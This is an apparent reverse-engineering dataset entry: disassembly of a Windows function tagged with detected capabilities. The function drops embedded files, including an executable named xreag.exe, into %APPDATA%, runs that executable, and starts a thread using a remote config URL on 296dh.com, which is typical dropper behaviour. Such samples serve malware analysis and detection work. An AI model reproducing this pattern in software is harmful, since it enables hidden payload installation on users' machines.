Function at 0x408ac0
Capabilities:
Create process on windows
Create thread
Query environment variable

Disassembly:
sub esp, 0x248
mov eax, dword [0x47aed0]
xor eax, esp
mov dword [esp + 0x244], eax
push ebx
push ebp
push esi
mov esi, dword [esp + 0x258]
push edi
call fcn.004079c0
xor ebx, ebx
push 0x103
lea eax, [esp + 0x51]
push ebx
push eax
mov byte [esp + 0x58], bl
call fcn.0043f190
add esp, 0xc
push 0x104
lea ecx, [esp + 0x50]
push ecx
push str.APPDATA
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
lea eax, [esp + 0x4c]
mov dword [esp + 0x2c], 0xf
mov dword [esp + 0x28], ebx
mov byte [esp + 0x18], bl
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x408b30
sub eax, edx
push eax
lea edx, [esp + 0x50]
push edx
lea ecx, [esp + 0x1c]
call fcn.00402590
push 0xa
push str.ddico.ico
lea ecx, [esp + 0x1c]
call fcn.004026f0
mov eax, dword [esp + 0x18]
mov ebp, 0x10
cmp dword [esp + 0x2c], ebp
jae 0x408b6b
lea eax, [esp + 0x18]
push str.MYICO
push 0xec
push eax
call fcn.00406b90
lea eax, [esp + 0x58]
add esp, 0xc
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x408b85
sub eax, edx
push eax
lea eax, [esp + 0x50]
push eax
lea ecx, [esp + 0x1c]
call fcn.00402590
push 8
push str.hic.ico
lea ecx, [esp + 0x1c]
call fcn.004026f0
mov eax, dword [esp + 0x18]
cmp dword [esp + 0x2c], ebp
jae 0x408bbb
lea eax, [esp + 0x18]
push str.MYICO
push 0xed
push eax
call fcn.00406b90
lea eax, [esp + 0x58]
add esp, 0xc
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x408bd5
sub eax, edx
push eax
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x1c]
call fcn.00402590
push 8
push str._tic.ico
lea ecx, [esp + 0x1c]
call fcn.004026f0
mov eax, dword [esp + 0x18]
cmp dword [esp + 0x2c], ebp
jae 0x408c0b
lea eax, [esp + 0x18]
push str.MYICO
push 0xee
push eax
call fcn.00406b90
add esp, 0xc
push 0xa
push str.xreag.exe
lea ecx, [esp + 0x1c]
call fcn.004026f0
mov eax, dword [esp + 0x18]
cmp dword [esp + 0x2c], ebp
jae 0x408c3c
lea eax, [esp + 0x18]
push 0x452e14
push 0xf8
push eax
call fcn.00406b90
mov eax, dword [esp + 0x24]
add esp, 0xc
cmp dword [esp + 0x2c], ebp
jae 0x408c5d
lea eax, [esp + 0x18]
mov edi, dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 5
push ebx
push ebx
push eax
push str.open
push ebx
call edi
mov eax, dword [str.http:__config.296dh.com_V04055_kb.txt]
lea edx, [esp + 0x10]
push edx
push ebx
push eax
push 0x408170
push 0x104
push ebx
mov dword [esp + 0x28], ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x47c1b8], eax
cmp dword [0x47c1b4], ebx
je 0x408cbf
call fcn.00407da0
mov esi, eax
cmp dword [esp + 0x2c], ebp
jb 0x408cb8
mov ecx, dword [esp + 0x18]
push ecx
call fcn.0043f32c
add esp, 4
mov eax, esi
jmp 0x408e4c
push esi
call dword [0x45bec8]
push 0x103
lea edx, [esp + 0x159]
push ebx
push edx
mov byte [esp + 0x160], bl
call fcn.0043f190
add esp, 0x10
push 0x104
lea eax, [esp + 0x154]
push eax
push str.APPDATA
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
lea eax, [esp + 0x150]
dec eax
mov cl, byte [eax + 1]
inc eax
cmp cl, bl
jne 0x408d03
mov ecx, dword [str.Skin.dat]
mov edx, dword [0x4531ec]
mov dword [eax], ecx
mov cx, word [0x4531f0]
mov dword [eax + 4], edx
push str.SKIN
lea edx, [esp + 0x154]
push 0xe2
push edx
mov word [eax + 8], cx
call fcn.00406b90
lea eax, [esp + 0x15c]
push ebx
push eax
call dword [0x45bec4]
push 0x8d8
call fcn.0043f599
add esp, 0x18
cmp eax, ebx
je 0x408d6b
mov ecx, eax
call fcn.00401a60
mov esi, eax
cmp esi, ebx
jne 0x408d85
cmp dword [esp + 0x2c], ebp
jb 0x408d7e
mov ecx, dword [esp + 0x18]
push ecx
call fcn.0043f32c
add esp, 4
xor eax, eax
jmp 0x408e4c
push ebx
push SysReAllocStringLen
push SysReAllocStringLen
push SysReAllocStringLen
push SysReAllocStringLen
push 0x40100
push 0x96c80000
push str.TXKmplayer
push ebx
mov ecx, esi
call dword [0x45be9c]
mov ecx, esi
call dword [0x45be98]
push 1
push 1
mov ecx, esi
call dword [0x45bea0]
call dword [0x45bec0]
cmp dword [0x47c1c0], ebx
je 0x408e33
push 0xffffffffffffffff
push ebx
push 0x47a2a8
lea ecx, [esp + 0x3c]
mov dword [esp + 0x54], 0xf
mov dword [esp + 0x50], ebx
mov byte [esp + 0x40], bl
call fcn.004024b0
push 0xa
push str.xreag.exe
lea ecx, [esp + 0x38]
call fcn.004026f0
mov eax, dword [esp + 0x34]
cmp dword [esp + 0x48], ebp
jae 0x408e13
lea eax, [esp + 0x34]
push 5
push ebx
push ebx
push eax
push str.open
push ebx
call edi
cmp dword [esp + 0x48], ebp
jb 0x408e33
mov edx, dword [esp + 0x34]
push edx
call fcn.0043f32c
add esp, 4
call dword [sym.imp.ole32.dll_CoUninitialize]
cmp dword [esp + 0x2c], ebp
jb 0x408e4c
mov eax, dword [esp + 0x18]
push eax
call fcn.0043f32c
add esp, 4
mov ecx, dword [esp + 0x254]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0043ee6a
add esp, 0x248
ret 0x10